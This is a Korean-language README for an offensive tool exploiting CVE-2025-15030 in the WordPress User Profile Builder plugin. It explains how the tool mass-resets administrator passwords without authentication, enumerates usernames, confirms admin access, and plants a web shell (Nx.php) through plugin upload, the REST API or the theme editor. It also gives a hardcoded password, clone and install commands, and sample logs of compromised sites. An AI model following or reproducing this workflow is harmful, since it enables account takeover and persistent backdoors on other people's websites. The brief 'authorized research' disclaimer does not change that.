
User Profile Builder < 3.15.2 - 인증되지 않은 임의 비밀번호 재설정
User Profile Builder < 3.15.2 - 인증되지 않은 임의 비밀번호 재설정
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
근본 원인:
Profile Builder 플러그인의 비밀번호 복구 흐름(action2=recover_password2)은 재설정 키를 제대로 검증하지 않거나 토큰 만료를 강제하지 않습니다. 재설정 페이지에서 추출한 유효한 password_recovery_nonce_field2를 포함한 조작된 POST를 제출함으로써, 인증되지 않은 공격자는 사용자 이름만 알면 관리자를 포함한 모든 WordPress 사용자의 새 비밀번호를 설정할 수 있습니다. 이메일 상호 작용이나 유효한 재설정 토큰이 필요하지 않습니다.
이 도구는 각 대상에 대해 두 개의 독립적인 공격 체인을 구현하며, 두 체인 모두 선택적 셸 배포가 뒤따릅니다:
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├───────────────────────────────────────────────────────────��────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
셸 업로드를 활성화하려면 Nxploited.zip을 스크립트와 같은 디렉터리에 배치하세요. 도구는 이 파일 없이도 실행되지만 셸 배포는 건너뜁니다.
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
모든 재설정 및 로그인 시도에 사용되는 비밀번호는 내부적으로 고정되어 있습니다:
Nxploited_adminSA
list.txt — 대상 (필수)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Profile Builder 재설정 링크 (선택 사항)Profile Builder에서 비밀번호 재설정 이메일 링크를 확보했다면 각 줄에 하나씩 여기에 붙여넣으세요. 도구는 다음을 수행합니다:
password_recovery_nonce_field2 + userData 추출action2=recover_password2를 통해 새 비밀번호 제출https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
도구는 로그인을 시도하기 전에 세 가지 방법을 사용하여 WordPress 사용자 이름을 자동으로 발견합니다:
| 방법 | 엔드포인트 |
|---|---|
| 작성자 리디렉션 | /?author=1 → /?author=10 |
모든 로그인 시도는 결과를 기록하기 전에 엄격하게 검증됩니다. 도구는 다음을 확인합니다:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
결과는 관리자 표시가 3개 이상 확인된 경우에만 디스크에 기록됩니다.
관리자 세션이 확인된 후 도구는 세 가지 권한 상승 방법을 순서대로 시도합니다:
셸 검증: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| 파일 | 내용 |
|---|---|
scan_results/wp_login_reset_success.txt | CORE 체인을 통해 확인된 관리자 로그인 |
scan_results/shells.txt | 자격 증명이 포함된 배포된 셸 URL |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
| 열 | 의미 |
|---|---|
KEY |
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears zero responsibility for any use of this tool
against systems the operator does not own or have explicit
written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws
worldwide and may result in criminal prosecution.
You alone are responsible for your actions.
© 2025 Nxploited · User Profile Builder < 3.15.2 · 3.15.2에서 수정됨
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 치명적 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder for WordPress |
| 영향 버전 | 3.15.2 이전의 모든 버전 |
| 인증 | 필요 없음 |
| 유형 | 부적절한 비밀번호 재설정 — 인증되지 않은 계정 탈취 |
| CWE | CWE-640 · 취약한 비밀번호 복구 메커니즘 |
| REST API | /wp-json/wp/v2/users |
| 호스트네임 휴리스틱 | 도메인 이름의 첫 번째 라벨 |
| 기본 대체 | admin 항상 포함 |
| 방법 | 엔드포인트 | 트리거 |
|---|
| 플러그인 업로드 | /wp-admin/update.php?action=upload-plugin | 설치 양식을 통해 Nxploited.zip 업로드 |
| REST API | /wp-json/wp/v2/plugins | ZIP 직접 POST |
| 편집기 작성 | /wp-admin/plugin-editor.php | 파일 편집기를 통해 Nx.php 작성 |
| 재설정 흐름이 성공적으로 시작됨 |
RESET | 서버가 새 비밀번호를 수락함 |
ACCESS | 확인된 관리자 로그인 수 |
SHELL | Nx.php가 활성 상태로 확인되면 OK |